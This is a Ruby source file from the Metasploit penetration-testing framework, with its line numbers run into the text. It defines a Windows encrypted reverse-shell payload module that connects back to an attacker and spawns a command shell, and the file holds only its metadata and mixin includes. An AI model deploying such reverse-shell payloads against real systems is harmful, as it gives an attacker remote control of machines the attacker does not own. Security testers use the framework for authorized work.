Path: blob/master/modules/payloads/singles/windows/encrypted_shell_reverse_tcp.rb
21540 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 441678include Msf::Payload::Windows9include Msf::Payload::Single10include Msf::Sessions::CommandShellOptions11include Msf::Payload::Windows::EncryptedReverseTcp12include Msf::Payload::Windows::EncryptedPayloadOpts1314def initialize(info = {})15super(16merge_info(17info,18'Name' => 'Windows Encrypted Reverse Shell',19'Description' => 'Connect back to attacker and spawn an encrypted command shell',20'Author' => [21'Matt Graeber',22'Shelby Pace'23],24'License' => MSF_LICENSE,25'Platform' => 'win',26'Arch' => ARCH_X86,27'Handler' => Msf::Handler::ReverseTcp,28'Session' => Msf::Sessions::EncryptedShell,29'DefaultOptions' => { 'LinkerScript' => "#{LINK_SCRIPT_PATH}/func_order.ld" },30'Dependencies' => [ Metasploit::Framework::Compiler::Mingw::X86 ]31)32)33end34end353637